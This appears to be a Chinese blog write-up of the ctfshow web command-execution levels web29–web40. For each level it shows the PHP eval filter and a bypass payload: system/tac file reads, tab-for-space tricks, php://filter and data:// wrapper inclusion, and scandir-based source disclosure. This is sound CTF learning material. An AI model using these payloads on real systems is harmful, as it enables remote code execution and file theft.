ctfshow(web入门-命令执行)-1

2024-09-01 20:20
文章标签 入门 命令 web 执行 ctfshow

本文主要是介绍ctfshow(web入门-命令执行)-1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.web29

只有当c参数的值不包含“flag”(区分大小写),才会执行这段代码

  $c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}

只要payload中没有flag即可

先尝试cat (右键源代码)  tail,tac皆可

system("tail fla*");

tac 逆序读 

tail 默认读后10行 

使用文件显示函数

cp函数 等等。。

2.web30

  $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    不能出现 flag,system,php

 echo`cat fl*g.p*hp`; 代替 system  右键源代码查看

 highlight_file(base64_decode("ZmxhZy5waHA="));

3.web31

绕过

"flag"、"system"、"php"、"cat"、"sort"、"shell"、点号(".")、空格(" ")和单引号("'")

highlight_file(base64_decode("ZmxhZy5waHA="));

echo`tac%09fl*`; %09代替空格

第二种

使用 eval.让 1逃逸

 

4.web32

/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(

比上一题多了 echo ( ; 不能使用命令注入了,尝试其他方法。

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

 5.web33

比上一题多了一个双引号

payload

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

c=rerquirexx

6.web34

和上一题一样。

7.web35

payload同上

c=include$_GET[1]%0a?>&1=php://filter/convert.base64-encode/resource=flag.php

 

8.web36 

比上一关多了对数字的限制

 9.web37

有include先尝试一下

然后用data执行代码

 

10.web38

过滤了等于号

可以将 <?php system('ls')> >> <?= system("ls")>

c=data://text/plain/,<?=system('tac fl*.*')?>

 11.web39

payload 同上

c=data://text/plain/,<?=system('tac fl*.*')?>

12.web40 

官方解法

show_source(next(array_reverse(scandir(pos(localeconv())))));


小白一枚,如有不足请多多指教!!!

这篇关于ctfshow(web入门-命令执行)-1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1127951

相关文章

Linux使用dd命令来复制和转换数据的操作方法

《Linux使用dd命令来复制和转换数据的操作方法》Linux中的dd命令是一个功能强大的数据复制和转换实用程序,它以较低级别运行,通常用于创建可启动的USB驱动器、克隆磁盘和生成随机数据等任务,本文... 目录简介功能和能力语法常用选项示例用法基础用法创建可启动www.chinasem.cn的 USB 驱动

关于Maven生命周期相关命令演示

《关于Maven生命周期相关命令演示》Maven的生命周期分为Clean、Default和Site三个主要阶段,每个阶段包含多个关键步骤,如清理、编译、测试、打包等,通过执行相应的Maven命令,可以... 目录1. Maven 生命周期概述1.1 Clean Lifecycle1.2 Default Li

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

windows系统下shutdown重启关机命令超详细教程

《windows系统下shutdown重启关机命令超详细教程》shutdown命令是一个强大的工具,允许你通过命令行快速完成关机、重启或注销操作,本文将为你详细解析shutdown命令的使用方法,并提... 目录一、shutdown 命令简介二、shutdown 命令的基本用法三、远程关机与重启四、实际应用

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

Linux使用nohup命令在后台运行脚本

《Linux使用nohup命令在后台运行脚本》在Linux或类Unix系统中,后台运行脚本是一项非常实用的技能,尤其适用于需要长时间运行的任务或服务,本文我们来看看如何使用nohup命令在后台... 目录nohup 命令简介基本用法输出重定向& 符号的作用后台进程的特点注意事项实际应用场景长时间运行的任务服

Redis的Hash类型及相关命令小结

《Redis的Hash类型及相关命令小结》edisHash是一种数据结构,用于存储字段和值的映射关系,本文就来介绍一下Redis的Hash类型及相关命令小结,具有一定的参考价值,感兴趣的可以了解一下... 目录HSETHGETHEXISTSHDELHKEYSHVALSHGETALLHMGETHLENHSET

手把手教你idea中创建一个javaweb(webapp)项目详细图文教程

《手把手教你idea中创建一个javaweb(webapp)项目详细图文教程》:本文主要介绍如何使用IntelliJIDEA创建一个Maven项目,并配置Tomcat服务器进行运行,过程包括创建... 1.启动idea2.创建项目模板点击项目-新建项目-选择maven,显示如下页面输入项目名称,选择

如何使用 Bash 脚本中的time命令来统计命令执行时间(中英双语)

《如何使用Bash脚本中的time命令来统计命令执行时间(中英双语)》本文介绍了如何在Bash脚本中使用`time`命令来测量命令执行时间,包括`real`、`user`和`sys`三个时间指标,... 使用 Bash 脚本中的 time 命令来统计命令执行时间在日常的开发和运维过程中,性能监控和优化是不

C#如何优雅地取消进程的执行之Cancellation详解

《C#如何优雅地取消进程的执行之Cancellation详解》本文介绍了.NET框架中的取消协作模型,包括CancellationToken的使用、取消请求的发送和接收、以及如何处理取消事件... 目录概述与取消线程相关的类型代码举例操作取消vs对象取消监听并响应取消请求轮询监听通过回调注册进行监听使用Wa